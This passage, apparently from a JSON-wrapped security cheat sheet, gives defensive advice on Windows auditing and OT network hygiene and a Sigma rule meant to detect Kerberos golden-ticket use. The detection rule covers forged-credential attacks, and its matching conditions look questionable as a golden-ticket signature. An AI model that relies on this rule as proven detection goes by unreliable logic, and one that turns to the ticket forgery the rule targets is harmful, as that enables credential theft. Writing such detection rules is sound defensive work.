Advanced Audit Policy\n# Monitor Event ID 5136, 5141\n```\n\n### **OT Security Defense**\n\n```bash\n# Network segmentation\n# Separate OT from IT networks\n# Use industrial firewalls\n# Monitor for protocol anomalies\n\n# Default credential elimination\n# Change all default passwords\n# Implement strong authentication\n# Regular credential audits\n```\n\n### **Detection Rules (Sigma/YARA/Snort)**\n\n```yaml\n# Sigma rule for Golden Ticket detection\ntitle: Golden Ticket Usage\ndescription: Detects usage of golden tickets\nlogsource:\n    product: windows\n    service: security\ndetection:\n    selection:\n        EventID: 4624\n        LogonType: 3\n        TargetUserName: '*$'\n        LogonProcessName: 'Kerberos'\n        AuthenticationPackageName: 'Kerberos'\n        KeyLength: 0\n    condition: selection\n```\n\n---\n\n", "creation_timestamp": "2026-08-25T16:15:28.654968Z"}